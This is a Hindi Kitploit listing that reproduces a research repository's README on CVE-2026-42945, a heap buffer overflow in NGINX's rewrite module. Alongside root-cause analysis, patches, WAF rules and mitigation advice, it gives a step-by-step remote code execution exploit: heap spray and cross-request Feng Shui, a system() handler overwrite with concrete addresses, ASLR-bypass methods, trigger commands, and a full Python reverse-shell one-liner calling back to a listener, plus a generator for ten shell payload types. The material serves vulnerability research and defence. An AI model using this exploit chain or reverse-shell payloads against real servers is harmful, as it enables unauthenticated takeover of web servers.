Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-42945 — CVE-2026-42945 पर पूर्ण शोध रिपॉजिटरी जिसमें हीप बफर ओवरफ्लो विश्लेषण, RCE एक्सप्लॉइट (हीप स्प्रे + फेंग शुई), डिटेक्शन स्क्रिप्ट्स, और NGINX रीराइट मॉड्यूल कमजोरी के लिए पैचिंग मार्गदर्शन शामिल है। | Kitploit
उपकरण/GitHubGitHub/quantumworld-dpdns-io/cve-2026-42945
भेद्यता विश्लेषणशोषणवेब सुरक्षाफज़िंगपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षाघटना प्रतिक्रियाबाइनरी शोषणलैब और अभ्यास
GitHubquantumworld-dpdns-io/cve-2026-42945

CVE-2026-42945

CVE-2026-42945 पर पूर्ण शोध रिपॉजिटरी जिसमें हीप बफर ओवरफ्लो विश्लेषण, RCE एक्सप्लॉइट (हीप स्प्रे + फेंग शुई), डिटेक्शन स्क्रिप्ट्स, और NGINX रीराइट मॉड्यूल कमजोरी के लिए पैचिंग मार्गदर्शन शामिल है।

रिपॉजिटरी देखें
23 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
Screenshot 2026-05-28 at 4 09 53 PM

CVE-2026-42945 — NGINX Rift

NGINX ngx_http_rewrite_module में हीप बफर ओवरफ़्लो

मीट्रिकमान
CVSS v4.09.2 (क्रिटिकल)
CVSS v3.18.1 (उच्च) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWE122 — हीप-आधारित बफर ओवरफ़्लो
शुरुआतजून 2008 — v0.6.27
खोजअप्रैल 2026 — DepthFirst रिसर्च
फिक्स13 मई 2026 — v1.30.1, v1.31.0
CVE प्रकाशित21 मई 2026
जीवनकाल~18 वर्ष (अज्ञात)
फिक्स कमिट524977e7c534e87e5b55739fa74601c9f1102686

विषयसूची

  1. भेद्यता सारांश
  2. मूल कारण विश्लेषण
  3. शोषण तंत्र
  4. फिक्स विश्लेषण
  5. प्रभावित संस्करण
  6. पहचान
  7. शमन
  8. प्रोजेक्ट संरचना
  9. त्वरित प्रारंभ
  10. बिल्ड और भेद्य संस्करण चलाएँ
  11. ओवरफ़्लो ट्रिगर करें
  12. RCE शोषण
  13. रिवर्स शेल सत्यापन
  14. पैचिंग
  15. परीक्षण
  16. फज़िंग
  17. CI पाइपलाइन
  18. दस्तावेज़ीकरण सूची
  19. प्रोजेक्ट आँकड़े
  20. संदर्भ

1. भेद्यता सारांश

एक अप्रमाणित, दूरस्थ हमलावर एक विशिष्ट rewrite + set/if/rewrite कॉन्फ़िगरेशन पैटर्न वाले सर्वर पर एक क्राफ्टेड HTTP अनुरोध भेजकर NGINX वर्कर प्रक्रियाओं में एक निर्धारिती हीप बफर ओवरफ़्लो को ट्रिगर कर सकता है। यह ओवरफ़्लो हीप मेटाडेटा (ngx_pool_cleanup_t पॉइंटर्स) को दूषित करता है, जो हीप स्प्रे और फेंग शुई तकनीकों के माध्यम से रिमोट कोड निष्पादन (RCE) को सक्षम करता है।

ट्रिगर पैटर्न```nginx

server { listen 19321;

root@kitploit:~
location ~ ^/api/(.*)$ {
    rewrite ^/api/(.*)$ /internal?migrated=true;
    set $original_endpoint $1;
}

}

root@kitploit:~
**मुख्य आवश्यकताएँ:**
- एक `rewrite` निर्देश जिसके प्रतिस्थापन में `?` (क्वेरी-स्ट्रिंग विभाजक) हो
- एक बाद का `set`, `if`, या `rewrite` निर्देश जो एक **अनामित PCRE कैप्चर** (`$1`, `$2`, आदि) को संदर्भित करता है
- rewrite प्रतिस्थापन में `?` `ngx_http_script_start_args_code` को ट्रिगर करता है जो `e->is_args = 1` सेट करता है

### एक हमलावर क्या प्राप्त कर सकता है

| क्षमता | विवरण |
|-----------|-------------|
| **सेवा अस्वीकार (DoS)** | वर्कर प्रक्रियाओं को निर्धारित रूप से क्रैश करें, जिससे रीस्पॉन लूप उत्पन्न होते हैं (ASLR के बावजूद काम करता है) |
| **दूरस्थ कोड निष्पादन (RCE)** | ASLR अक्षम होने पर (या आंशिक ओवरराइट के माध्यम से बाईपास), nginx उपयोगकर्ता के रूप में पूर्ण RCE प्राप्त करें |
| **डेटा चोरी** | मेमोरी रीड प्रिमिटिव के माध्यम से, वर्कर हीप से संवेदनशील डेटा निकालें |
| **स्थायित्व** | वर्कर प्रक्रिया मेमोरी में कोड निष्पादन के माध्यम से बैकडोर लगाएं |

---

## 2. मूल कारण विश्लेषण

### दो-पास स्क्रिप्ट इंजन

NGINX का `ngx_http_rewrite_module` `src/http/ngx_http_script.c` में **दो-पास स्क्रिप्ट इंजन** का उपयोग करता है:

1. **लंबाई पास** (`ngx_http_script_run`): आवश्यक कुल बफर आकार की गणना करने के लिए सभी स्क्रिप्ट कोड पर पुनरावृत्ति करता है। `le.ip` और `le.pos` में लंबाई लिखता है।
2. **कॉपी पास** (`ngx_http_script_copy_len`/`_code`): फिर से पुनरावृत्ति करता है, पूर्व-आवंटित बफर में `e->ip` और `e->pos` पर वास्तविक बाइट्स लिखता है।

प्रत्येक स्क्रिप्ट कोड के लिए दो हैंडलर होते हैं: प्रत्येक पास के लिए एक। उदाहरण के लिए:
- `ngx_http_script_copy_len` → `ngx_http_script_copy_code`
- `ngx_http_script_start_args_len` → `ngx_http_script_start_args_code`

### `is_args` फ़्लैग

**इंजन संरचना** (`ngx_http_script_engine_t`) पर फ़्लैग `e->is_args` नियंत्रित करता है कि कॉपी पास कुछ वर्णों को कैसे संभालता है:```c
typedef struct {
    u_char                  *ip;
    u_char                  *pos;
    ngx_http_variable_value_t *sp;
    ngx_str_t               buf;
    int                     flushed;
    unsigned                is_args:1;    // <-- THE BUG
    unsigned                ncaptures:1;
    ngx_uint_t              captures_size;
    // ...
} ngx_http_script_engine_t;

जब e->is_args = 1, तो $N कैप्चर रेफरेंस के लिए कॉपी-कोड ngx_escape_uri() को NGX_ESCAPE_ARGS के साथ कॉल करता है, जो विस्तारित करता है:

  • + → %2B (1 बाइट → 3 बाइट, +200%)
  • % → %25 (1 बाइट → 3 बाइट, +200%)
  • & → %26 (1 बाइट → 3 बाइट, +200%)

बग: पासों में ध्वज लीक

असुरक्षित पैटर्न के लिए निष्पादन प्रवाह:``` rewrite ^/api/(.*)$ /internal?migrated=true;

root@kitploit:~
1. **पुनर्लेखन मूल्यांकन** के दौरान, इंजन प्रतिस्थापन स्ट्रिंग में `?` का सामना करता है, जो `ngx_http_script_start_args_code` को सक्रिय करता है, जिससे `e->is_args = 1` सेट होता है।
2. पुनर्लेखन अनुरोध URI को संशोधित करता है और फिर अगले निर्देश पर जारी रहता है।
3. **`e->is_args` कभी साफ़ नहीं किया जाता**।

फिर:```
set $original_endpoint $1;
  1. एक नया उप-इंजन (le) लंबाई पास के लिए बनाया गया है: ```c ngx_memzero(&le, sizeof(ngx_http_script_engine_t));
    root@kitploit:~

यह सही रूप से le.is_args = 0 को शून्य कर देता है, जिससे लंबाई पास कच्ची, अनएस्केप्ड कैप्चर लंबाई लौटाती है।

  1. कॉपी पास मुख्य इंजन e का पुन: उपयोग करता है, जिसमें चरण 1 से अभी भी e->is_args = 1 है। कॉपी पास URI-एस्केपिंग लागू करता है, प्रत्येक एस्केप करने योग्य वर्ण को 1 बाइट से 3 बाइट्स में विस्तारित करता है, जो एक बफर के अंदर होता है जिसका आकार कच्ची लंबाई के लिए निर्धारित किया गया था — हीप ओवरफ़्लो।

दृश्य चरण-दर-चरण```

Pass 1 (Length — sub-engine le): le.is_args = 0 capture $1 = "A+++++B" → length = 7

Buffer allocated: 7 bytes

Pass 2 (Copy — main engine e): e.is_args = 1 ← LEAKED from rewrite capture $1 = "A+++++B" ngx_escape_uri("A+++++B", NGX_ESCAPE_ARGS): A → A (1 byte) + → %2B (3 bytes) ← EXPANSION + → %2B (3 bytes) + → %2B (3 bytes) + → %2B (3 bytes) + → %2B (3 bytes) B → B (1 byte) total written: 17 bytes buffer size: 7 bytes OVERFLOW: 10 bytes

root@kitploit:~
विस्तार अनुपात `7 + (n_escapable * 2)` है, जहाँ `n_escapable` कैप्चर में `+`, `%` और `&` की संख्या है।

---

## 3. शोषण यांत्रिकी

### अवलोकन

| चरण | तकनीक | विवरण |
|------|-----------|-------------|
| 1 | ओवरफ्लो | हीप बफर को ओवरफ्लो करने के लिए `+` पैडिंग के साथ तैयार URI भेजें |
| 2 | हीप स्प्रे | नियंत्रित डेटा से हीप भरने के लिए `/spray` पर बड़े बॉडी वाले POST भेजें |
| 3 | फेंग शुई | आवंटन को इस प्रकार व्यवस्थित करें कि ओवरफ्लो लक्ष्य (`ngx_pool_cleanup_t`) सन्निकट हो |
| 4 | हैंडलर दूषित करें | ओवरफ्लो `ngx_pool_cleanup_t.handler` को `system()` पते से अधिलेखित कर देता है |
| 5 | क्लीनअप ट्रिगर करें | पूल विनाश की प्रतीक्षा करें → `system(cmd)` हमलावर के कमांड को निष्पादित करता है |
| 6 | रिवर्स शेल | इंटरैक्टिव पहुँच के लिए रिवर्स शेल पेलोड से जुड़ें |

### क्रॉस-अनुरोध फेंग शुई

**एकल-अनुरोध फेंग शुई विफल होता है** क्योंकि ओवरफ्लो `cleanup` पॉइंटर तक पहुँचने से पहले पूल के मेटाडेटा (`->d.next`, `->d.failed`) को दूषित कर देता है। जब अनुरोध के अंत में पूल नष्ट होता है, तो दूषित मेटाडेटा `system()` को कॉल किए जाने से पहले **क्रैश** का कारण बनता है।

इसके बजाय, शोषण **क्रॉस-अनुरोध फेंग शुई** का उपयोग करता है:
1. **अनुरोध 1 (स्प्रे)**: `/spray` पर बड़े बॉडी के साथ POST करें। बैकएंड (`server.py`) `X-Delay` हेडर के साथ प्रतिक्रिया रोकता है, कनेक्शन खुला रखता है और हीप आवंटन को संरक्षित करता है। स्प्रे हीप को नकली `ngx_pool_cleanup_t` ब्लॉक से भरता है।
2. **अनुरोध 2 (ओवरफ्लो)**: ओवरफ्लो URI भेजें। ओवरफ्लो केवल `cleanup` पॉइंटर (पूल मेटाडेटा नहीं) को दूषित करता है, इसे स्प्रे किए गए नकली ब्लॉक की ओर इंगित करता है।
3. **पूल विनाश**: जब स्प्रे प्रतिक्रिया पूरी होती है (विलंब समाप्त), तो पूल की क्लीनअप श्रृंखला नकली ब्लॉक पर जाती है और `system(cmd)` को कॉल करती है।

### पता आवश्यकताएँ

| प्रतीक | मान (डॉकर, ASLR बंद) | विवरण |
|--------|--------------------------|-------------|
| `HEAP_BASE` | `0x555555659000` | nginx हीप का आधार |
| `system@libc` | `0x7ffff6f6e420` | glibc में `system()` |
| `NGX_CYCLES_POOL` | `0x5555556a4040` | साइकिल पूल का पॉइंटर |
| नकली क्लीनअप पता | `0x5555556a4030` | स्प्रे लक्ष्य पता |

### ASLR बाईपास

ASLR को अक्षम किए बिना, **DoS** (क्रैश) नियतात्मक रूप से काम करता है। ASLR सक्षम होने पर RCE के लिए, दो दृष्टिकोण हैं:

1. **आंशिक अधिलेखन**: एक ही पृष्ठ के भीतर पॉइंटर को स्थानांतरित करने के लिए 1-बाइट या 2-बाइट अधिलेखन का उपयोग करें, शेष निबल्स (16–256 प्रयास) को बलपूर्वक परखें।
2. **सूचना लीक**: लेआउट निर्धारित करने के लिए `/proc/self/maps` पढ़ें या `log_parser.py` मेमोरी विश्लेषण का उपयोग करें।

---

## 4. फिक्स विश्लेषण

### आधिकारिक फिक्स

**कमिट**: `524977e7c534e87e5b55739fa74601c9f1102686`  
**फ़ाइल**: `src/http/ngx_http_script.c`  
**पंक्ति**: ~1205 (`ngx_http_script_regex_end_code` में)```diff
 void
 ngx_http_script_regex_end_code(ngx_http_script_engine_t *e)
 {
     ngx_http_script_regex_code_t *code;

     code = (ngx_http_script_regex_code_t *) e->ip;

+    e->is_args = 0;    /* ← THE FIX */

     e->ip += sizeof(ngx_http_script_regex_code_t);
     // ...
 }

यह स्थान सही क्यों है

ngx_http_script_regex_end_code लंबाई और कॉपी पास दोनों के दौरान प्रत्येक regex मूल्यांकन के बाद चलता है। यहाँ e->is_args = 0 को रीसेट करने से यह सुनिश्चित होता है:

  • फ़्लैग regex कोड के निष्पादन समाप्त होने के तुरंत बाद साफ़ हो जाता है
  • बाद के स्क्रिप्ट कोड (set, if, rewrite) एक साफ is_args = 0 के साथ शुरू होते हैं
  • ngx_http_script_start_args_code अभी भी is_args = 1 सेट कर सकता है जब इसे रिप्लेसमेंट स्ट्रिंग में ? मिलता है — फिक्स उस कार्यक्षमता को नहीं तोड़ता

गहराई में सुरक्षा पैच

patches/0002-hardening-bounds-check.patch ngx_http_script_copy_capture_code में एक बाउंड्स जाँच जोड़ता है:```c if (e->pos + len > e->buf.data + e->buf.len) { return; /* gracefully truncate instead of overflowing */ }

root@kitploit:~
### बैकपोर्ट पैचेस

| पैच | Nginx संस्करण |
|-------|---------------|
| `patches/0001-fix-is_args.patch` | 1.22.x, 1.24.x, 1.26.x, 1.30.0 |
| `patches/backport-1.22.x.patch` | 1.22.0–1.22.1 |
| `patches/backport-1.24.x.patch` | 1.24.0–1.24.1 |
| `patches/backport-1.26.x.patch` | 1.26.0–1.26.1 |

---

## 5. प्रभावित संस्करण

### NGINX ओपन सोर्स

| सीमा | स्थिति |
|-------|--------|
| **0.1.0 – 0.6.26** | अप्रभावित (रीराइट मॉड्यूल अनामित कैप्चर्स से पहले का है) |
| **0.6.27 – 1.30.0** | **असुरक्षित** (18 वर्षों की अवधि) |
| **1.30.1** | पहला सुधारित संस्करण |
| **1.31.0+** | सुधारित (मेनलाइन) |

### NGINX Plus

| रिलीज़ | प्रभावित | सुधारित |
|---------|----------|-------|
| R32 | R32–R32 P5 | R32 P6 |
| R33 | R33–R33 P5 | R33 P6 |
| R34 | R34–R34 P4 | R34 P5 |
| R35 | R35–R35 P1 | R35 P2 |
| R36 | R36–R36 P3 | R36 P4 |

### NGINX इकोसिस्टम

| उत्पाद | प्रभावित | स्थिति |
|---------|----------|--------|
| NGINX Instance Manager | 2.16.0–2.21.1 | परामर्श लंबित |
| F5 NGINX WAF | 5.9.0–5.12.1 | परामर्श लंबित |
| NGINX Ingress Controller | 3.5.0–3.7.2, 4.0.0–4.0.1, 5.0.0–5.4.1 | परामर्श लंबित |
| NGINX Gateway Fabric | 1.3.0–1.6.2, 2.0.0–2.5.1 | परामर्श लंबित |
| NGINX Service Mesh | 1.6.0–1.6.2, 2.0.0–2.1.0 | परामर्श लंबित |
| NGINX Agent | 2.0.0–2.35.0 | परामर्श लंबित |

---

## 6. पता लगाना

### संस्करण जाँच```bash
bash detection/detect_vuln.sh

यह स्क्रिप्ट जाँच करती है:

  • NGINX संस्करण कमजोर सीमा (0.6.27–1.30.0) के विरुद्ध
  • कमजोर rewrite + ? + capture पैटर्न के लिए कॉन्फ़िगरेशन फ़ाइलें

Config Scanner```bash

Scan a single config

python3 exploit/config_scanner.py /etc/nginx/nginx.conf

Scan all configs in a directory

python3 exploit/config_scanner.py /etc/nginx/

Fix vulnerable patterns (convert to named captures)

python3 exploit/config_scanner.py /etc/nginx/nginx.conf --fix

root@kitploit:~
### कंटेनर स्कैन```bash
python3 detection/container_scan.py

स्थानीय डॉकर इमेजों को NGINX लेबल/एनवी वेरिएबल्स के लिए स्कैन करता है जो कमजोर संस्करणों का संकेत देते हैं।

WAF नियम

नियम सेटफ़ाइलकवरेज
ModSecuritydetection/modsecurity_rule.conf100+ लगातार +, 50+ एन्कोडेड एस्केपेबल कैरेक्टर्स को ब्लॉक करता है, स्प्रे एंडपॉइंट को दर-सीमित करता है
Suricata/Snortdetection/suricata_rule.rulesGET URIs में अतिरिक्त +, एन्कोडेड कैरेक्टर फ्लड, /spray पर पोस्ट स्प्रे, क्रैश-लूप DoS का पता लगाता है
Falcodetection/falco_rule.yamlरनटाइम: nginx वर्कर पर SIGSEGV, क्रैश लूप (60 सेकंड में 3+), हीप स्प्रे POST डिटेक्शन

लॉग विश्लेषण```bash

Parse error log for crash and exploit indicators

python3 exploit/log_parser.py /var/log/nginx/error.log

Watch mode (tail -f equivalent)

python3 exploit/log_parser.py /var/log/nginx/error.log --watch

root@kitploit:~
---

## 7. शमन

### तत्काल (कोड बदलाव के बिना)

सभी `rewrite` निर्देशों में **अनामित कैप्चर** को **नामित कैप्चर** से बदलें:```nginx
# VULNERABLE — unnamed capture $1
rewrite ^/users/([0-9]+)/profile/(.*)$ /profile.php?id=$1&tab=$2 last;

# FIXED — named captures
rewrite ^/users/(?<user_id>[0-9]+)/profile/(?<section>.*)$ /profile.php?id=$user_id&tab=$section last;

नामित कैप्चर ngx_escape_uri(..., NGX_ESCAPE_ARGS) से नहीं गुज़रते, इसलिए e->is_args = 1 होने पर भी कोई विस्तार नहीं होता और कोई अतिप्रवाह नहीं होता।

कॉन्फ़िगरेशन सख्तीकरण```bash

bash detection/harden_nginx.sh /etc/nginx/nginx.conf

root@kitploit:~
ये हार्डनिंग उपाय लागू करता है:
- ASLR सत्यापन और अनिवार्य सक्षमीकरण
- वर्कर प्रक्रिया पृथक्करण
- कोर डंप प्रतिबंध
- SSL/TLS हार्डनिंग
- दर सीमा निर्धारण
- CSP हेडर

### ASLR जाँच```bash
bash detection/check_aslr.sh

8. प्रोजेक्ट संरचना```

CVE-2026-42945/ ├── .github/workflows/ci.yml GitHub Actions CI (single CI) ├── .gitignore ├── README.md This file ├── Makefile Build automation targets ├── COMMIT_LOG.md 1000+ commit record │ ├── docker/ Docker environment │ ├── Dockerfile Vulnerable NGINX builder (commit 98fc3bb78) │ ├── Dockerfile.patched Multi-stage vuln/patched builder │ ├── Dockerfile.asan ASAN-enabled vulnerable NGINX │ ├── docker-compose.yml Service orchestration │ ├── nginx.conf Vulnerable rewrite configuration │ ├── entrypoint.sh Container entrypoint (setarch -R for ASLR off) │ └── server.py Backend HTTP server (handles spray retention) │ ├── exploit/ Attack & exploitation tools │ ├── trigger.py Overflow trigger & health check │ ├── exploit.py Full RCE: heap spray + Feng Shui │ ├── h2_trigger.py HTTP/2 (h2c) overflow variant │ ├── escape_calc.py Character expansion ratio calculator │ ├── compare_lengths.py Raw vs escaped length comparison │ ├── heap_layout.py Parse /proc/PID/maps for heap/libc base │ ├── find_safe_addrs.py Search for URI-safe address bytes │ ├── leak_aslr.py ASLR partial-overwrite brute force │ ├── monitor_worker.py Worker PID crash detection & respawn tracking │ ├── log_parser.py Error log crash/exploit pattern parser │ └── config_scanner.py Config file pattern scanner & fixer │ ├── shell/ Reverse shell verification │ ├── shell_listener.py Interactive/verify-mode TCP listener │ ├── shell_payloads.py Payload generator (10 shell types) │ ├── shell_verify.py End-to-end automated verification │ ├── shell_manager.py Lifecycle orchestrator │ └── shell_test_runner.sh Batch runner across all shell types │ ├── patches/ Fix patches & backports │ ├── 0001-fix-is_args.patch Upstream one-line fix │ ├── 0002-hardening-bounds-check.patch Defense-in-depth │ ├── backport-1.22.x.patch Backport for 1.22.x │ ├── backport-1.24.x.patch Backport for 1.24.x │ └── backport-1.26.x.patch Backport for 1.26.x │ ├── configs/ Nginx configuration samples │ ├── vulnerable.conf 3 vulnerable patterns │ ├── safe.conf 5 safe patterns │ ├── named_capture.conf Mitigated named-capture pattern │ └── advanced/ │ ├── vulnerable_advanced.conf rewrite+if, rewrite+rewrite, flags │ ├── vulnerable_ingress.conf ingress-nginx rewrite-target patterns │ └── vulnerable_gateway.conf nginx-gateway fabric patterns │ ├── detection/ WAF rules & detection/hardening │ ├── modsecurity_rule.conf ModSecurity CRS rules │ ├── suricata_rule.rules Suricata/Snort signatures │ ├── falco_rule.yaml Falco runtime rules │ ├── detect_vuln.sh Version & config pattern detection │ ├── check_aslr.sh ASLR status verification │ ├── container_scan.py Docker image version scanner │ └── harden_nginx.sh Security hardening script │ ├── fuzz/ Fuzzing harness │ ├── ngx_http_script_fuzz.c libFuzzer harness (~200 lines) │ ├── fuzz_build.sh Build script (clang + libFuzzer + ASAN) │ └── corpus/ │ └── README.md Seed corpus documentation │ ├── test/ Test suite │ ├── test_exploit.py Python unittest (server, config, fix) │ └── run_tests.sh Shell test runner │ ├── docs/ Technical documentation │ ├── root-cause-analysis.md Deep dive into the bug │ ├── exploitation-guide.md Step-by-step exploitation │ ├── detection-guide.md Detection & monitoring │ ├── mitigation-guide.md Mitigation strategies │ ├── FAQ.md Frequently asked questions │ ├── timeline.md Vulnerability timeline │ ├── operational-guidance.md Operations & incident response │ ├── case-study.md Real-world attack scenario │ └── presentation-slides.md Conference presentation │ ├── tools/ Utility & analysis scripts │ ├── apply_fix.sh Patch application & rollback │ ├── backport_check.py Fix-ancestry & source-code checker │ ├── coredump_analyzer.sh GDB core dump analysis │ ├── performance_benchmark.sh Throughput/latency (ab, wrk, siege) │ ├── memory_analysis.sh Valgrind massif/callgrind, pmap │ ├── trace_script_engine.sh GDB script-engine tracing │ ├── regression_matrix.sh Multi-version regression testing │ ├── test_all_configs.sh Exhaustive config pattern testing │ ├── afl_runner.sh AFL++ fuzzer launcher │ └── verify_project.sh Project integrity verification │ └── pipelines/ Pipeline orchestrators ├── run_all.sh Bash pipeline (6 phases) └── run_all.ps1 PowerShell pipeline

root@kitploit:~
## 9. त्वरित आरंभ```bash
# 1. Build and run vulnerable NGINX
make build && make run
# Or:
cd docker && docker compose up

# 2. Health check
curl http://localhost:19321/
# → {"status":"ok","backend":"direct"}

# 3. Trigger crash (DoS)
python3 exploit/trigger.py --host localhost --port 19321 --plus-count 969
# → Worker crashed (expected) ✓

# 4. Verify recovery
python3 exploit/trigger.py --host localhost --port 19321 --check-alive
# → Server is alive ✓

# 5. Full RCE (ASLR disabled in container)
python3 exploit/exploit.py --host localhost --port 19321 \
    --cmd "whoami > /tmp/pwned"

# 6. Verify RCE
docker compose -f docker/docker-compose.yml exec nginx cat /tmp/pwned

# 7. Check your configs
python3 exploit/config_scanner.py configs/vulnerable.conf

10. बिल्ड एंड रन वल्नरेबल (Build & Run Vulnerable)

डॉकर (अनुशंसित)```bash

Using Makefile

make build # docker compose -f docker/docker-compose.yml build make run # docker compose -f docker/docker-compose.yml up

Or directly

cd docker && docker compose up --build

root@kitploit:~
डॉकर वातावरण:
- NGINX को कमिट `98fc3bb78` (फिक्स से पहले अंतिम कमजोर कमिट) पर स्रोत से बनाता है
- इसमें GDB, valgrind, `util-linux` शामिल है (`setarch -R` के लिए ASLR अक्षम करने हेतु)
- पोर्ट **19321** (कमजोर nginx), **19322** (द्वितीयक), **19323** (पायथन बैकएंड) को उजागर करता है
- एंट्रीपॉइंट नियतात्मक शोषण पता लेआउट के लिए ASLR अक्षम करने हेतु `setarch x86_64 -R` का उपयोग करता है
- डिबगिंग के लिए `SYS_PTRACE` क्षमता और `seccomp=unconfined` प्रदान करता है

### केवल कमजोर```bash
make vuln-container
# Builds: docker build -t nginx-rift-vuln \
#   -f docker/Dockerfile.patched --build-arg NGINX_TYPE=vulnerable docker/

पैच किया गया कंटेनर```bash

make fix-container

Builds: docker build -t nginx-rift-fixed \

-f docker/Dockerfile.patched --build-arg NGINX_TYPE=patched docker/

root@kitploit:~
### ASAN कंटेनर```bash
make asan-container
# Builds: docker build -t nginx-rift-asan -f docker/Dockerfile.asan docker/

मैन्युअल बिल्ड```bash

git clone https://github.com/nginx/nginx.git /tmp/nginx-src cd /tmp/nginx-src && git checkout 98fc3bb78 ./auto/configure --with-cc-opt='-g -O2 -fno-omit-frame-pointer' make -j$(nproc) sudo cp objs/nginx /usr/local/sbin/nginx

root@kitploit:~
---
## 11. अतिप्रवाह को ट्रिगर करें

### मूल क्रैश (DoS)```bash
python3 exploit/trigger.py --host localhost --port 19321 --plus-count 969

यह भेजता है:``` GET /api/AAAA...[349 As]+++++...[969 +s] HTTP/1.1

root@kitploit:~
कैप्चर `$1` में `+` वर्ण कॉपी पास के दौरान 3× विस्तारित हो जाते हैं जबकि बफ़र को कच्ची लंबाई के लिए आकार दिया गया था, जिससे हीप ओवरफ्लो हो जाता है।

### अपेक्षित आउटपुट```
[+] Triggering overflow with 969 plus signs...
[+] Connection established
[+] Payload sent, waiting for crash...
[!] Connection reset — worker crashed as expected
[+] Server is alive — worker respawned

न्यूनतम अतिप्रवाह ढूँढना```bash

python3 exploit/escape_calc.py --find-min 64

root@kitploit:~
`+` चिह्नों की न्यूनतम संख्या की गणना करता है जो लक्ष्य बाइट्स की संख्या को ओवरफ्लो करने के लिए आवश्यक हैं (विशिष्ट हीप संरचनाओं का शोषण करते समय उपयोगी)।

### वर्ण विस्तार```bash
python3 exploit/escape_calc.py --prefix 349 --plus 969

दिए गए प्रीफिक्स लंबाई और एस्केप करने योग्य वर्णों की संख्या के लिए विस्तार अनुपात आउटपुट करता है।


12. RCE एक्सप्लॉइट

अवलोकन

यह एक्सप्लॉइट विश्वसनीय कोड निष्पादन प्राप्त करने के लिए क्रॉस-रिक्वेस्ट फेंग शुई को लागू करता है:``` Time │ │ ┌─────────────────────┐ │ │ Request 1: Spray │── POST /spray with large body │ │ Holds connection │ Backend delays response via X-Delay │ └─────────┬───────────┘ │ │ Allocations persist on heap │ ┌─────────┴───────────┐ │ │ Request 2: Overflow │── GET /api/A...+++... │ │ Corrupts cleanup ptr │ Overwrites ngx_pool_cleanup_t.handler │ └─────────┬───────────┘ │ │ │ ┌─────────┴───────────┐ │ │ Pool Destruction │── Spray response completes │ │ → system("cmd") │ Cleanup chain walks to fake block │ └─────────────────────┘ └──────────────────────────────────────────►

root@kitploit:~
### मूल उपयोग```bash
# Execute a command on the target
python3 exploit/exploit.py --host localhost --port 19321 \
    --cmd "whoami > /tmp/pwned"

रिवर्स शेल```bash

python3 exploit/exploit.py --host localhost --port 19321
--cmd "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.17.0.1",1337));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'"
--tries 3

root@kitploit:~
### उन्नत विकल्प

| फ़्लैग | डिफ़ॉल्ट | विवरण |
|------|---------|-------------|
| `--host` | `127.0.0.1` | लक्ष्य होस्ट |
| `--port` | `19321` | लक्ष्य पोर्ट |
| `--cmd` | — | निष्पादित करने का आदेश (`--shell` को छोड़कर आवश्यक) |
| `--shell` | — | इंटरैक्टिव शेल मोड का उपयोग करें |
| `--tries` | `3` | एक्सप्लॉइट प्रयासों की संख्या |
| `--delay` | `2.0` | स्प्रे और ओवरफ्लो के बीच विलंब (सेकंड) |
| `--payload` | — | कस्टम पेलोड फ़ाइल का पथ |
| `--debug` | — | वर्बोज़ डीबग आउटपुट सक्षम करें |

### हीप लेआउट विश्लेषण```bash
python3 exploit/heap_layout.py

एक चालू nginx वर्कर PID की आवश्यकता है। /proc/PID/maps को पार्स करके खोजता है:

  • हीप बेस पता
  • libc बेस पता
  • system() फ़ंक्शन का पता

सुरक्षित पता खोजक```bash

python3 exploit/find_safe_addrs.py --heap-base 0x555555659000 --count 5

root@kitploit:~
उन हीप पतों को ढूंढता है जिनके बाइट्स में एस्केपेबल कैरेक्टर्स (`+`, `%`, `&`, `?`, आदि) शामिल नहीं हैं, जिनका उपयोग एक्सप्लॉइट पेलोड निर्माण में किया जाता है।

---

## 13. रिवर्स शेल सत्यापन

### आर्किटेक्चर```
shell_manager.py
  │
  ├── shell_payloads.py    → Generate payload strings for 10 shell types
  ├── shell_listener.py    → Start TCP listener (interactive + verify mode)
  ├── exploit/exploit.py   → Send exploit with payload to target
  └── shell_verify.py      → Wait for connection, run commands, verify output

समर्थित शेल प्रकार

प्रकारबाइनरीनोट्स
bash/dev/tcpबिल्ट-इन bash TCP
pythonpython3 -cसबसे विश्वसनीय, हमेशा उपलब्ध
ncncनेटकैट
perlperl -e
rubyruby -rsocket -e
phpphp -r
socatsocat
telnettelnet
opensslopenssl s_clientप्रमाणपत्र की आवश्यकता है
powershellpowershellविंडोज लक्ष्य

इंटरैक्टिव लिसनर```bash

Terminal 1: Start interactive listener

python3 shell/shell_listener.py --port 1337

Terminal 2: Run exploit with reverse shell

python3 exploit/exploit.py --host 127.0.0.1 --port 19321
--cmd "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.17.0.1",1337));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'"

root@kitploit:~
### स्वचालित सत्यापन```bash
# Single-shot automated verify
python3 shell/shell_verify.py --target 127.0.0.1 --port 19321 \
    --shell-type python --listen-port 1337 --verify-cmds "id,whoami,hostname"

# Full pipeline across all shell types
bash shell/shell_test_runner.sh

# Orchestrated lifecycle with one command
python3 shell/shell_manager.py --target-host 127.0.0.1 --target-port 19321 \
    --shell-type python --listen-port 1337 --callback-ip 172.17.0.1

पेलोड उत्पन्न करें```bash

python3 shell/shell_payloads.py --type python --host 172.17.0.1 --port 1337 python3 shell/shell_payloads.py --type all --host 172.17.0.1 --port 1337 python3 shell/shell_payloads.py --list

